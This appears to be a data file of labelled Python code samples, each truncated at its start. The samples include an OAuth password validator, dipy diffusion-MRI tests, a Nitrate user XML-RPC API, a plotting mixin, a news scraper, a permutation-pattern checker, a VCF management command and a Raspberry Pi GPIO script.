valid. OBS! The validation should also set the user attribute of the request to a valid resource owner, i.e. request.user = username or similar. If not set you will be unable to associate a token with a user in the persistance method used (commonly, save_bearer_token). :param username: Unicode username :param password: Unicode password :param client: Client object set by you, see authenticate_client. :param request: The HTTP Request (oauthlib.common.Request) :rtype: True or False Method is used by: - Resource Owner Password Credentials Grant """""" # To validate the user, try to authenticate it password_plugin = auth_plugins.password.Password() auth_payload = { 'user': { ""domain"": { ""id"": ""default"" }, ""name"": username, ""password"": password } } auth_context = {} try: password_plugin.authenticate( context={}, auth_payload=auth_payload, auth_context=auth_context) # set the request user request.user = auth_context['user_id'] return True except Exception: return False ",1 "mport (assert_array_equal, assert_array_almost_equal, assert_) from dipy.sims.voxel import (_check_directions, SingleTensor, MultiTensor, multi_tensor_odf, all_tensor_evecs, add_noise, single_tensor, sticks_and_ball, multi_tensor_dki, kurtosis_element, DKI_signal) from dipy.core.geometry import (vec2vec_rotmat, sphere2cart) from dipy.data import get_data, get_sphere from dipy.core.gradients import gradient_table from dipy.io.gradients import read_bvals_bvecs fimg, fbvals, fbvecs = get_data('small_64D') bvals, bvecs = read_bvals_bvecs(fbvals, fbvecs) gtab = gradient_table(bvals, bvecs) # 2 shells for techniques that requires multishell data bvals_2s = np.concatenate((bvals, bvals * 2), axis=0) bvecs_2s = np.concatenate((bvecs, bvecs), axis=0) gtab_2s = gradient_table(bvals_2s, bvecs_2s) def diff2eigenvectors(dx, dy, dz): """""" numerical derivatives 2 eigenvectors """""" u = np.array([dx, dy, dz]) u = u / np.linalg.norm(u) R = vec2vec_rotmat(basis[:, 0], u) eig0 = u eig1 = np.dot(R, basis[:, 1]) eig2 = np.dot(R, basis[:, 2]) eigs = np.zeros((3, 3)) eigs[:, 0] = eig0 eigs[:, 1] = eig1 eigs[:, 2] = eig2 return eigs, R def test_check_directions(): # Testing spherical angles for two principal coordinate axis angles = [(0, 0)] # axis z sticks = _check_directions(angles) assert_array_almost_equal(sticks, [[0, 0, 1]]) angles = [(0, 90)] # axis z again (phi can be anything it theta is zero) sticks = _check_directions(angles) assert_array_almost_equal(sticks, [[0, 0, 1]]) angles = [(90, 0)] # axis x sticks = _check_directions(angles) assert_array_almost_equal(sticks, [[1, 0, 0]]) # Testing if directions are already given in cartesian coordinates angles = [(0, 0, 1)] sticks = _check_directions(angles) assert_array_almost_equal(sticks, [[0, 0, 1]]) # Testing more than one direction simultaneously angles = np.array([[90, 0], [30, 0]]) sticks = _check_directions(angles) ref_vec = [np.sin(np.pi*30/180), 0, np.cos(np.pi*30/180)] assert_array_almost_equal(sticks, [[1, 0, 0], ref_vec]) # Testing directions not aligned to planes x = 0, y = 0, or z = 0 the1 = 0 phi1 = 90 the2 = 30 phi2 = 45 angles = np.array([(the1, phi1), (the2, phi2)]) sticks = _check_directions(angles) ref_vec1 = (np.sin(np.pi*the1/180) * np.cos(np.pi*phi1/180), np.sin(np.pi*the1/180) * np.sin(np.pi*phi1/180), np.cos(np.pi*the1/180)) ref_vec2 = (np.sin(np.pi*the2/180) * np.cos(np.pi*phi2/180), np.sin(np.pi*the2/180) * np.sin(np.pi*phi2/180), np.cos(np.pi*the2/180)) assert_array_almost_equal(sticks, [ref_vec1, ref_vec2]) def test_sticks_and_ball(): d = 0.0015 S, sticks = sticks_and_ball(gtab, d=d, S0=1, angles=[(0, 0), ], fractions=[100], snr=None) assert_array_equal(sticks, [[0, 0, 1]]) S_st = SingleTensor(gtab, 1, evals=[d, 0, 0], evecs=[[0, 0, 0], [0, 0, 0], [1, 0, 0]]) assert_array_almost_equal(S, S_st) def test_single_tensor(): evals = np.array([1.4, .35, .35]) * 10 ** (-3) evecs = np.eye(3) S = SingleTensor(gtab, 100, evals, evecs, snr=None) assert_array_almost_equal(S[gtab.b0s_mask], 100) assert_(np.mean(S[~gtab.b0s_mask]) < 100) from dipy.reconst.dti import TensorModel m = TensorModel(gtab) t = m.fit(S) assert_array_almost_equal(t.fa, 0.707, decimal=3) def test_multi_tensor(): sphere = get_sphere('symmetric724') vertices = sphere.vertices mevals = np.array(([0.0015, 0.0003, 0.0003], [0.0015, 0.0003, 0.0003])) e0 = np.array([np.sqrt(2) / 2., np.sqrt(2) / 2., 0]) e1 = np.array([0, np.sqrt(2) / 2., np.sqrt(2) / 2.]) mevecs = [all_tensor_evecs(e0), all_tensor_evecs(e1)] # odf = multi_tensor_odf(vertices, [0.5, 0.5], mevals, mevecs) # assert_(odf.shape == (len(vertices),)) # assert_(np.all(odf <= 1) & np.all(odf >= 0)) fimg, fbvals, fbvecs = get_data('small_101D') bvals, bvecs = read_bvals_bvecs(fbvals, fbvecs) gtab = gradient_table(bvals, bvecs) s1 = single_tensor(gtab, 100, mevals[0], mevecs[0], snr=None) s2 = single_tensor(gtab, 100, mevals[1], mevecs[1], snr=None) Ssingle = 0.5*s1 + 0.5*s2 S, sticks = MultiTensor(gtab, mevals, S0=100, angles=[(90, 45), (45, 90)], fractions=[50, 50], snr=None) assert_array_almost_equal(S, Ssingle) def test_snr(): np.random.seed(1978) s = single_tensor(gtab) # For reasonably large SNR, var(signal) ~= sigma**2, where sigma = 1/SNR for snr in [5, 10, 20]: sigma = 1.0 / snr for j in range(1000): s_noise = add_noise(s, snr, 1, noise_type='rician') assert_array_almost_equal(np.var(s_noise - s), sigma ** 2, decimal=2) def test_all_tensor_evecs(): e0 = np.array([1/np.sqrt(2), 1/np.sqrt(2), 0]) desired = np.array([[1/np.sqrt(2), 1/np.sqrt(2), 0], [-1/np.sqrt(2), 1/np.sqrt(2), 0], [0, 0, 1]]).T assert_array_almost_equal(all_tensor_evecs(e0), desired) def test_kurtosis_elements(): """""" Testing symmetry of the elements of the KT As an 4th order tensor, KT has 81 elements. However, due to diffusion symmetry the KT is fully characterized by 15 independent elements. This test checks for this property. """""" # two fiber not aligned to planes x = 0, y = 0, or z = 0 mevals = np.array([[0.00099, 0, 0], [0.00226, 0.00087, 0.00087], [0.00099, 0, 0], [0.00226, 0.00087, 0.00087]]) angles = [(80, 10), (80, 10), (20, 30), (20, 30)] fie = 0.49 # intra axonal water fraction frac = [fie * 50, (1-fie) * 50, fie * 50, (1-fie) * 50] sticks = _check_directions(angles) mD = np.zeros((len(frac), 3, 3)) for i in range(len(frac)): R = all_tensor_evecs(sticks[i]) mD[i] = np.dot(np.dot(R, np.diag(mevals[i])), R.T) # compute global DT D = np.zeros((3, 3)) for i in range(len(frac)): D = D + frac[i]*mD[i] # compute voxel's MD MD = (D[0][0] + D[1][1] + D[2][2]) / 3 # Reference dictionary with the 15 independent elements. # Note: The multiplication of the indexes (i+1) * (j+1) * (k+1) * (l+1) # for of an elements is only equal to this multiplication for another # element if an only if the element corresponds to an symmetry element. # Thus indexes multiplication is used as key of the reference dictionary kt_ref = {1: kurtosis_element(mD, frac, 0, 0, 0, 0), 16: kurtosis_element(mD, frac, 1, 1, 1, 1), 81: kurtosis_element(mD, frac, 2, 2, 2, 2), 2: kurtosis_element(mD, frac, 0, 0, 0, 1), 3: kurtosis_element(mD, frac, 0, 0, 0, 2), 8: kurtosis_element(mD, frac, 0, 1, 1, 1), 24: kurtosis_element(mD, frac, 1, 1, 1, 2), 27: kurtosis_element(mD, frac, 0, 2, 2, 2), 54: kurtosis_element(mD, frac, 1, 2, 2, 2), 4: kurtosis_element(mD, frac, 0, 0, 1, 1), 9: kurtosis_element(mD, frac, 0, 0, 2, 2), 36: kurtosis_element(mD, frac, 1, 1, 2, 2), 6: kurtosis_element(mD, frac, 0, 0, 1, 2), 12: kurtosis_element(mD, frac, 0, 1, 1, 2), 18: kurtosis_element(mD, frac, 0, 1, 2, 2)} # Testing all 81 possible elements xyz = [0, 1, 2] for i in xyz: for j in xyz: for k in xyz: for l in xyz: key = (i+1) * (j+1) * (k+1) * (l+1) assert_almost_equal(kurtosis_element(mD, frac, i, k, j, l), kt_ref[key]) # Testing optional funtion inputs assert_almost_equal(kurtosis_element(mD, frac, i, k, j, l), kurtosis_element(mD, frac, i, k, j, l, D, MD)) def test_DKI_simulations_aligned_fibers(): """""" Testing DKI simulations when aligning the same fiber to different axis. If biological parameters don't change, kt[0] of a fiber aligned to axis x has to be equal to kt[1] of a fiber aligned to the axis y and equal to kt[2] of a fiber aligned to axis z. The same is applicable for dt """""" # Defining parameters based on Neto Henriques et al., 2015. NeuroImage 111 mevals = np.array([[0.00099, 0, 0], # Intra-cellular [0.00226, 0.00087, 0.00087]]) # Extra-cellular frac = [49, 51] # Compartment volume fraction # axis x angles = [(90, 0), (90, 0)] signal_fx, dt_fx, kt_fx = multi_tensor_dki(gtab_2s, mevals, angles=angles, fractions=frac) # axis y angles = [(90, 90), (90, 90)] signal_fy, dt_fy, kt_fy = multi_tensor_dki(gtab_2s, mevals, angles=angles, fractions=frac) # axis z angles = [(0, 0), (0, 0)] signal_fz, dt_fz, kt_fz = multi_tensor_dki(gtab_2s, mevals, angles=angles, fractions=frac) assert_array_equal([kt_fx[0], kt_fx[1], kt_fx[2]], [kt_fy[1], kt_fy[0], kt_fy[2]]) assert_array_equal([kt_fx[0], kt_fx[1], kt_fx[2]], [kt_fz[2], kt_fz[0], kt_fz[1]]) assert_array_equal([dt_fx[0], dt_fx[2], dt_fx[5]], [dt_fy[2], dt_fy[0], dt_fy[5]]) assert_array_equal([dt_fx[0], dt_fx[2], dt_fx[5]], [dt_fz[5], dt_fz[0], dt_fz[2]]) # testing S signal along axis x, y and z bvals = np.array([0, 0, 0, 1000, 1000, 1000, 2000, 2000, 2000]) bvecs = np.asarray([[1, 0, 0], [0, 1, 0], [0, 0, 1], [1, 0, 0], [0, 1, 0], [0, 0, 1], [1, 0, 0], [0, 1, 0], [0, 0, 1]]) gtab_axis = gradient_table(bvals, bvecs) # axis x S_fx = DKI_signal(gtab_axis, dt_fx, kt_fx, S0=100) assert_array_almost_equal(S_fx[0:3], [100, 100, 100]) # test S f0r b=0 # axis y S_fy = DKI_signal(gtab_axis, dt_fy, kt_fy, S0=100) assert_array_almost_equal(S_fy[0:3], [100, 100, 100]) # test S f0r b=0 # axis z S_fz = DKI_signal(gtab_axis, dt_fz, kt_fz, S0=100) assert_array_almost_equal(S_fz[0:3], [100, 100, 100]) # test S f0r b=0 # test S for b = 1000 assert_array_almost_equal([S_fx[3], S_fx[4], S_fx[5]], [S_fy[4], S_fy[3], S_fy[5]]) assert_array_almost_equal([S_fx[3], S_fx[4], S_fx[5]], [S_fz[5], S_fz[3], S_fz[4]]) # test S for b = 2000 assert_array_almost_equal([S_fx[6], S_fx[7], S_fx[8]], [S_fy[7], S_fy[6], S_fy[8]]) assert_array_almost_equal([S_fx[6], S_fx[7], S_fx[8]], [S_fz[8], S_fz[6], S_fz[7]]) def test_DKI_crossing_fibers_simulations(): """""" Testing DKI simulations of a crossing fiber """""" # two fiber not aligned to planes x = 0, y = 0, or z = 0 mevals = np.array([[0.00099, 0, 0], [0.00226, 0.00087, 0.00087], [0.00099, 0, 0], [0.00226, 0.00087, 0.00087]]) angles = [(80, 10), (80, 10), (20, 30), (20, 30)] fie = 0.49 frac = [fie*50, (1 - fie)*50, fie*50, (1 - fie)*50] signal, dt, kt = multi_tensor_dki(gtab_2s, mevals, angles=angles, fractions=frac, snr=None) # in this simulations dt and kt cannot have zero elements for i in range(len(dt)): assert dt[i] != 0 for i in range(len(kt)): assert kt[i] != 0 # test S, dt and kt relative to the expected values computed from another # DKI package - UDKI (Neto Henriques et al., 2015) dt_ref = [1.0576161e-3, 0.1292542e-3, 0.4786179e-3, 0.2667081e-3, 0.1136643e-3, 0.9888660e-3] kt_ref = [2.3529944, 0.8226448, 2.3011221, 0.2017312, -0.0437535, 0.0404011, 0.0355281, 0.2449859, 0.2157668, 0.3495910, 0.0413366, 0.3461519, -0.0537046, 0.0133414, -0.017441] assert_array_almost_equal(dt, dt_ref) assert_array_almost_equal(kt, kt_ref) assert_array_almost_equal(signal, DKI_signal(gtab_2s, dt_ref, kt_ref, S0=100, snr=None), decimal=5) if __name__ == ""__main__"": test_multi_tensor() ",1 " terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. This program is distributed in # the hope that it will be useful, but WITHOUT ANY WARRANTY; without # even the implied warranties of TITLE, NON-INFRINGEMENT, # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # # The GPL text is available in the file COPYING that accompanies this # distribution and at . # # Authors: # Xuqing Kuang from django.contrib.auth.models import User from django.core.exceptions import PermissionDenied from kobo.django.xmlrpc.decorators import user_passes_test, login_required, log_call from nitrate.core.utils.xmlrpc import XMLRPCSerializer __all__ = ( 'filter', 'get', 'get_me', 'update', ) def get_user_dict(user): u = XMLRPCSerializer(model = user) u = u.serialize_model() if u.get('password'): del u['password'] return u @log_call def filter(request, query): """""" Description: Performs a search and returns the resulting list of test cases. Params: $query - Hash: keys must match valid search fields. +------------------------------------------------------------------+ | Case Search Parameters | +------------------------------------------------------------------+ | Key | Valid Values | | id | Integer: ID | | username | String: User name | | first_name | String: User first name | | last_name | String: User last name | | email | String Email | | is_active | Boolean: Return the active users | | groups | ForeignKey: AuthGroup | +------------------------------------------------------------------+ Returns: Array: Matching test cases are retuned in a list of hashes. Example: >>> User.filter({'username__startswith': 'x'}) """""" users = User.objects.filter(**query) return [get_user_dict(u) for u in users] def get(request, id): """""" Description: Used to load an existing test case from the database. Params: $id - Integer/String: An integer representing the ID in the database Returns: A blessed User object Hash Example: >>> User.get(2206) """""" return get_user_dict(User.objects.get(pk = id)) def get_me(request): """""" Description: Get the information of myself. Returns: A blessed User object Hash Example: >>> User.get_me() """""" return get_user_dict(request.user) def update(request, values = {}, id = None): """""" Description: Updates the fields of the selected user. it also can change the informations of other people if you have permission. Params: $values - Hash of keys matching TestCase fields and the new values to set each field to. $id - Integer/String(Optional) Integer: A single TestCase ID. String: A comma string of User ID. Default: The ID of myself Returns: A blessed User object Hash +-------------------+----------------+-----------------------------------------+ | Field | Type | Null | +-------------------+----------------+-----------------------------------------+ | first_name | String | Optional | | last_name | String | Optional(Required if changes category) | | email | String | Optional | | password | String | Optional | | old_password | String | Required by password | +-------------------+----------------+-----------------------------------------+ Example: >>> User.update({'first_name': 'foo'}) >>> User.update({'password': 'foo', 'old_password': '123'}) >>> User.update({'password': 'foo', 'old_password': '123'}, 2206) """""" if id: u = User.objects.get(pk = id) else: u = request.user editable_fields = ['first_name', 'last_name', 'email', 'password'] if not request.user.has_perm('auth.change_changeuser') and request.user != u: raise PermissionDenied for f in editable_fields: if values.get(f): if f == 'password': if not request.user.has_perm('auth.change_changeuser') and not values.get('old_password'): raise PermissionDenied('Old password is required') if not request.user.has_perm('auth.change_changeuser') and not u.check_password(values.get('old_password')): raise PermissionDenied('Password is incorrect') u.set_password(values['password']) else: setattr(u, f, values[f]) u.save() return get_user_dict(u) ",1 "plt import pandas as pd import seaborn as sns class PlottingAttribute(object): __slots__ = 'groupby', 'title', 'palette', 'group_to_attribute' def __init__(self, groupby, title, palette, order): """"""An attribute that you want to visualize with a specific visual cue Parameters ---------- groupby : mappable A series or dict or list to groupby on the rows of the data title : str Title of this part of the legend palette : list-like What to plot for each group """""" self.groupby = groupby self.title = title self.palette = palette if order is not None: # there's more than one attribute self.group_to_attribute = dict(zip(order, palette)) else: # There's only one attribute self.group_to_attribute = {None: palette[0]} def __getitem__(self, item): return self.group_to_attribute[item] class PlotterMixin(object): """""" Must be mixed with something that creates the ``self.plot_data`` attribute Attributes ---------- color : """""" # Markers that can be filled, in a reasonable order so things that can be # confused with each other (e.g. triangles pointing to the left or right) are # not next to each other filled_markers = (u'o', u'v', u's', u'*', u'h', u'<', u'H', u'x', u'8', u'>', u'D', u'd', u'^') linewidth_min, linewidth_max = 0.1, 5 alpha_min, alpha_max = 0.1, 1 size_min, size_max = 3, 30 legend_order = 'color', 'symbol', 'linewidth', 'edgecolor', 'alpha', 'size' def establish_colors(self, color, hue, hue_order, palette): """"""Get a list of colors for the main component of the plots."""""" n_colors = None current_palette = sns.utils.get_color_cycle() color_labels = None color_title = None if color is not None and palette is not None: error = 'Cannot interpret colors to plot when both ""color"" and ' \ '""palette"" are specified' raise ValueError(error) # Force ""hue"" to be a mappable if hue is not None: try: # Check if ""hue"" is a column in the data color_title = str(hue) hue = self.data[hue] except (ValueError, KeyError): # Hue is already a mappable if isinstance(hue, pd.Series): color_title = hue.name else: color_title = None # This will give the proper number of categories even if there are # more categories in ""hue_order"" than represented in ""hue"" hue_order = sns.utils.categorical_order(hue, hue_order) color_labels = hue_order hue = pd.Categorical(hue, hue_order) n_colors = len(self.plot_data.groupby(hue)) else: if hue_order is not None: # Check if ""hue_order"" specifies rows in the data samples_to_plot = self.plot_data.index.intersection(hue_order) n_colors = len(samples_to_plot) if n_colors > 0: # Different color for every sample (row name) hue = pd.Series(self.plot_data.index, index=self.plot_data.index) else: error = ""When 'hue=None' and 'hue_order' is specified, "" \ ""'hue_order' must overlap with the data row "" \ ""names (index)"" raise ValueError(error) else: # Same color for everything hue = pd.Series('hue', index=self.plot_data.index) n_colors = 1 if palette is not None: colors = sns.color_palette(palette, n_colors=n_colors) elif color is not None: colors = sns.light_palette(color, n_colors=n_colors) else: colors = sns.light_palette(current_palette[0], n_colors=n_colors) self.color = PlottingAttribute(hue, color_title, colors, hue_order) def _maybe_make_grouper(self, attribute, palette_maker, order=None, func=None, default=None): """"""Create a Series from a single attribute, else make categorical Checks if the attribute is in the data provided, or is an external mapper Parameters ---------- attribute : object Either a single item to create into a series, or a series mapping each sample to an attribute (e.g. the plotting symbol 'o' or linewidth 1) palette_maker : function Function which takes an integer and creates the appropriate palette for the attribute, e.g. shades of grey for edgecolor or linearly spaced sizes order : list The order to create the attributes into func : function A function which returns true if the attribute is a single valid instance, e.g. ""black"" for color or 0.1 for linewidth. Otherwise, we assume that ""attribute"" is a mappable Returns ------- grouper : pandas.Series A mapping of the high dimensional data samples to the attribute """""" title = None if func is None or func(attribute): # Use this single attribute for everything return PlottingAttribute(pd.Series(None, index=self.samples), title, (attribute,), order) else: try: # Check if this is a column in the data attribute = self.data[attribute] except (ValueError, KeyError): pass if isinstance(attribute, pd.Series): title = attribute.name order = sns.utils.categorical_order(attribute, order) palette = palette_maker(len(order)) attribute = pd.Categorical(attribute, categories=order, ordered=True) return PlottingAttribute(pd.Series(attribute, index=self.samples), title, palette, order) def establish_symbols(self, marker, marker_order, text, text_order): """"""Figure out what symbol put on the axes for each data point"""""" symbol_title = None if isinstance(text, bool): # Option 1: Text is a boolean if text: # 1a: text=True, so use the sample names of data as the # plotting symbol symbol_title = 'Samples' symbols = [str(x) for x in self.samples] symbol = pd.Series(self.samples, index=self.samples) else: # 1b: text=False, so use the specified marker for each sample symbol = self._maybe_make_grouper(marker, marker_order, str) if marker is not None: try: symbol_title = marker symbol = self.data[marker] symbols = sns.categorical_order(symbol, marker_order) except (ValueError, KeyError): # Marker is a single marker, or already a groupable if marker in self.filled_markers: # Single marker so make a tuple so it's indexable symbols = (marker,) else: # already a groupable object if isinstance(marker, pd.Series): symbol_title = marker.name n_symbols = len(self.plot_data.groupby(symbol)) if n_symbols > len(self.filled_markers): # If there's too many categories, then # auto-expand the existing list of filled # markers multiplier = np.ceil( n_symbols/float(len(self.filled_markers))) filled_markers = list(self.filled_markers) \ * multiplier symbols = filled_markers[:n_symbols] else: symbols = self.filled_markers[:n_symbols] symbol = PlottingAttribute(symbol, symbol_title, symbols, marker_order) else: # Assume ""text"" is a mapping from row names (sample ids) of the # data to text labels text_order = sns.utils.categorical_order(text, text_order) symbols = text_order symbol = pd.Series(pd.Categorical(text, categories=text_order, ordered=True), index=self.samples) symbol = PlottingAttribute(symbol, symbol_title, symbols, text_order) if marker is not None: warnings.warn('Overriding plotting symbol from ""marker"" with ' 'values in ""text""') # Turn text into a boolean text = True self.symbol = symbol self.text = text def establish_symbol_attributes(self,linewidth, linewidth_order, edgecolor, edgecolor_order, alpha, alpha_order, size, size_order): self.edgecolor = self._maybe_make_grouper( edgecolor, self._edgecolor_palette, edgecolor_order, mpl.colors.is_color_like) self.linewidth = self._maybe_make_grouper( linewidth, self._linewidth_palette, linewidth_order, np.isfinite) self.alpha = self._maybe_make_grouper( alpha, self._alpha_palette, alpha_order, np.isfinite) self.size = self._maybe_make_grouper( size, self._size_palette, size_order, np.isfinite) @staticmethod def _edgecolor_palette(self, n_groups): return sns.color_palette('Greys', n_colors=n_groups) def _linewidth_palette(self, n_groups): return np.linspace(self.linewidth_min, self.linewidth_max, n_groups) def _alpha_palette(self, n_groups): return np.linspace(self.alpha_min, self.alpha_max, n_groups) def _size_palette(self, n_groups): return np.linspace(self.size_min, self.size_max, n_groups) def symbolplotter(self, xs, ys, ax, symbol, linewidth, edgecolor, **kwargs): """"""Plots either a matplotlib marker or a string at each data position Wraps plt.text and plt.plot Parameters ---------- xs : array-like List of x positions for data ys : array-like List of y-positions for data symbol : str What to plot at each (x, y) data position text : bool If true, then ""symboL"" is assumed to be a string and iterates over each data point individually, using plt.text to position the text. Otherwise, ""symbol"" is a matplotlib marker and uses plt.plot for plotting kwargs Any other keyword arguments to plt.text or plt.plot """""" # If both the x- and y- positions don't have data, don't do anything if xs.empty and ys.empty: return if self.text: # Add dummy plot to make the axes in the right window ax.plot(xs, ys, color=None) # Plot each (x, y) position as text for x, y in zip(xs, ys): ax.text(x, y, symbol, **kwargs) else: # use plt.plot instead of plt.scatter for speed, since plotting all # the same marker shape and color and linestyle ax.plot(xs, ys, 'o', marker=symbol, markeredgewidth=linewidth, markeredgecolor=edgecolor, **kwargs) def annotate_axes(self, ax): """"""Add descriptive labels to an Axes object."""""" if self.xlabel is not None: ax.set_xlabel(self.xlabel) if self.ylabel is not None: ax.set_ylabel(self.ylabel) def establish_legend_data(self): self.legend_data = pd.DataFrame(dict(color=self.color.groupby, symbol=self.symbol.groupby, size=self.size.groupby, linewidth=self.linewidth.groupby, edgecolor=self.edgecolor.groupby, alpha=self.alpha.groupby), index=self.samples) self.legend_data = self.legend_data.reindex(columns=self.legend_order) def draw_symbols(self, ax, plot_kws): """"""Plot each sample in the data"""""" plot_kws = {} if plot_kws is None else plot_kws for labels, df in self.legend_data.groupby(self.legend_order): # Get the attributes in order, using the group label to get the # attribute for name, label in zip(self.legend_order, labels): plot_kws[name] = getattr(self, name)[label] self.symbolplotter(df.iloc[:, 0], df.iloc[:, 1], **plot_kws) # Iterate over all the possible modifications of the points # TODO: add alpha and size # for i, (color_label, df1) in enumerate(self.plot_data.groupby(self.color.groupby)): # color = self.color.palette[i] # for j, (marker_label, df2) in enumerate(df1.groupby(self.symbol.groupby)): # symbol = self.symbol.palette[j] # for k, (lw_label, df3) in enumerate(df2.groupby(self.linewidth.groupby)): # linewidth = self.linewidth.palette[k] # for l, (ec_label, df4) in df3.groupby(self.edgecolor): # edgecolor = self.edgecolor.palette[l] # # and finally ... actually plot the data! # for m # self.symbolplotter(df4.iloc[:, 0], df4.iloc[:, 1], # symbol=symbol, color=color, # ax=ax, linewidth=linewidth, # edgecolor=edgecolor, **plot_kws) # class ScatterPlotter(PlotterMixin): def __init__(self, data, x, y, color, hue, hue_order, palette, marker, marker_order, text, text_order, linewidth, linewidth_order, edgecolor, edgecolor_order, alpha, alpha_order, size, size_order): self.establish_data(data, x, y) self.establish_symbols(marker, marker_order, text, text_order) self.establish_symbol_attributes(linewidth, linewidth_order, edgecolor, edgecolor_order, alpha, alpha_order, size, size_order) self.establish_colors(color, hue, hue_order, palette) self.establish_legend_data() # import pdb; pdb.set_trace() def establish_data(self, data, x, y): if isinstance(data, pd.DataFrame): xlabel = data.columns[x] ylabel = data.columns[y] else: data = pd.DataFrame(data) xlabel = None ylabel = None self.data = data self.plot_data = self.data.iloc[:, [x, y]] self.xlabel = xlabel self.ylabel = ylabel self.samples = self.plot_data.index self.features = self.plot_data.columns self.n_samples = len(self.samples) self.n_features = len(self.features) def plot(self, ax, kwargs): self.draw_symbols(ax, kwargs) self.annotate_axes(ax) def scatterplot(data, x=0, y=1, color=None, hue=None, hue_order=None, palette=None, marker='o', marker_order=None, text=False, text_order=None, linewidth=1, linewidth_order=None, edgecolor='k', edgecolor_order=None, alpha=1, alpha_order=None, size=7, size_order=None, ax=None, **kwargs): plotter = ScatterPlotter(data, x, y, color, hue, hue_order, palette, marker, marker_order, text, text_order, linewidth, linewidth_order, edgecolor, edgecolor_order, alpha, alpha_order, size, size_order) if ax is None: ax = plt.gca() plotter.plot(ax, kwargs) return ax ",1 "autifulSoup MAX_PAGES_TO_SEARCH = 3 def parse_news(item): '''Parse news item return is a tuple(id, title, url) ''' url = 'http://www.spa.gov.sa' + item['href'] url_parsed = urlparse(url) qs = parse_qs(url_parsed[4]) id = qs['newsid'][0] title = item.h2.contents[0] title = "" "".join(title.split()) item_parsed = (id, title, url) return item_parsed def retrieve_news(person=0, royal=0, cabinet=0, last_id=-1): '''Retrieve news for person or royal person 1= king, 2= crown prince and 3= deputy crown prince if royal is = 1 news will be retriveved if last_id not definend it will return the max return list of news tuples up to MAX_PAGES_TO_SEARCH (page = 10 news) [(id, title, url)...] ''' all_news = [] found = False page = 1 while (page <= MAX_PAGES_TO_SEARCH and not found): url = (""http://www.spa.gov.sa/ajax/listnews.php?sticky={}&cat=0&cabine"" ""t={}&royal={}&lang=ar&pg={}"".format(person, cabinet, royal, page)) try: html = urlopen(url) soup = BeautifulSoup(html, ""html.parser"") news = soup.find_all(""a"", class_=""aNewsTitle"") for item in news: item_parsed = parse_news(item) if item_parsed[0] <= str(last_id): found = True break all_news.append(item_parsed) except SocketError as e: if e.errno != errno.ECONNRESET: raise pass page = page + 1 return all_news def retrieve_detail(item): '''Retrive detaill for news item return is tuple (id, title, url, text) ''' url = item[2] html = urlopen(url) soup = BeautifulSoup(html, 'html.parser') detail = soup.find(class_='divNewsDetailsText') detail = detail.get_text() _list = list(item) _list.insert(3, detail) item = tuple(_list) return item def royal_order(last_id=-1): '''Retrive royal orders if last_id not defiend it will return the max return list of royal orders tuples up to MAX_PAGES_TO_SEARCH (page=10) [(id, title, url, text)...] ''' orders = [] _news = retrieve_news(royal=1, last_id=last_id) for item in _news: _detail = retrieve_detail(item) orders.append(_detail) return orders def cabinet_decision(last_id=-1): '''Retrive cabinet decisions if last_id not defiend it will return the max return list of cabinet decisions tuples up to MAX_PAGES_TO_SEARCH (page=10) [(id, title, url, text)...] ''' decisions = [] _news = retrieve_news(cabinet=1, last_id=last_id) for item in _news: _detail = retrieve_detail(item) decisions.append(_detail) return decisions def arrival_news(person, last_id=-1): '''Retrive only arrival news for person if last_id not defiend it will return the max return list of arrival news tuples up to MAX_PAGES_TO_SEARCH (page = 10 news) [(id, title, url, location)...] ''' arrival_news = [] all_news = retrieve_news(person=person, last_id= last_id) for item in all_news: if 'يصل إلى' in item[1]: _list = list(item) _list.insert(3, (item[1].split('يصل إلى'))[1].split('قادماً من')[0]) item = tuple(_list) arrival_news.append(item) return arrival_news def leave_news(person, last_id=-1): '''Retrive only leave news for person if last_id not defiend it will return the max return list of leave news tuples up to MAX_PAGES_TO_SEARCH (page = 10 news) [(id, title, url, locationFromTo)...] ''' leave_news = [] all_news = retrieve_news(person=person, last_id= last_id) for item in all_news: if 'يغادر' in item[1]: _list = list(item) _list.insert(3, item[1].split('يغادر')[1]) item = tuple(_list) leave_news.append(item) return leave_news if __name__ == ""__main__"": # just for testing news = cabinet_decision() print(news) ",1 ": out = [] for i in range(maxBits): if (v & (1 << i)): out.append(values[i]) return out v = (2 ** setBits) - 1 endState = v << (maxBits - setBits) yield select(v) while v != endState: t = (v | (v - 1)) + 1 v = t | ((((t & (-t % (1 << maxBits))) // (v & (-v % (1 << maxBits)))) >> 1) - 1) yield select(v) def normalize(perm): ref = sorted(perm) return [ref.index(x) for x in perm] def contains_pattern(perm, patt): if len(patt) > len(perm): return False for p in selector(perm, len(patt)): if normalize(p) == patt: return True return False if __name__ == '__main__': print(contains_pattern( [14, 12, 6, 10, 0, 9, 1, 11, 13, 16, 17, 3, 7, 5, 15, 2, 4, 8], [3, 0, 1, 2])) print(True) ",1 "ject, Individual, VCFFile from xbrowse_server import sample_management class Command(BaseCommand): def add_arguments(self, parser): parser.add_argument('args', nargs='*') parser.add_argument('--indiv-id') parser.add_argument('--cohort-id') parser.add_argument('--clear', action=""store_true"", help=""Whether to clear any previously-added VCF paths before adding this one"") parser.add_argument('--load', action=""store_true"", help=""Whether to also load the VCF data, and not just add record its path in the meta-data tables"") def handle(self, *args, **options): project_id = args[0] project = Project.objects.get(project_id=project_id) vcf_file_path = os.path.abspath(args[1]) vcf_file = VCFFile.objects.get_or_create(file_path=vcf_file_path)[0] if options.get('clear'): for individual in project.individual_set.all(): individual.vcf_files.clear() if options.get('indiv_id'): individual = Individual.objects.get( project=project, indiv_id=options.get('indiv_id') ) sample_management.add_vcf_file_to_individual(individual, vcf_file) else: sample_management.add_vcf_file_to_project(project, vcf_file) if options.get('load'): print(""Loading VCF into project store"") xbrowse_controls.load_project(project_id, vcf_files=[vcf_file_path]) print(""Loading VCF datastore"") xbrowse_controls.load_project_datastore(project_id, vcf_files=[vcf_file_path]) ",1 " GPIO.setup(LedPin, GPIO.OUT) # Set LedPin's mode is output GPIO.setup(KnockPin, GPIO.IN, pull_up_down=GPIO.PUD_UP) GPIO.output(LedPin, GPIO.HIGH) # Set LedPin high(+3.3V) to off led def swLed(ev=None): global Led_status Led_status = not Led_status GPIO.output(LedPin, Led_status) # switch led status(on-->off; off-->on) print ""LED: "" + (""on"" if Led_status else ""off"") def loop(): GPIO.add_event_detect(KnockPin, GPIO.FALLING, callback=swLed, bouncetime=200) # wait for falling while True: pass # Don't do anything def destroy(): GPIO.output(LedPin, GPIO.LOW) # led off GPIO.cleanup() # Release resource if __name__ == '__main__': # 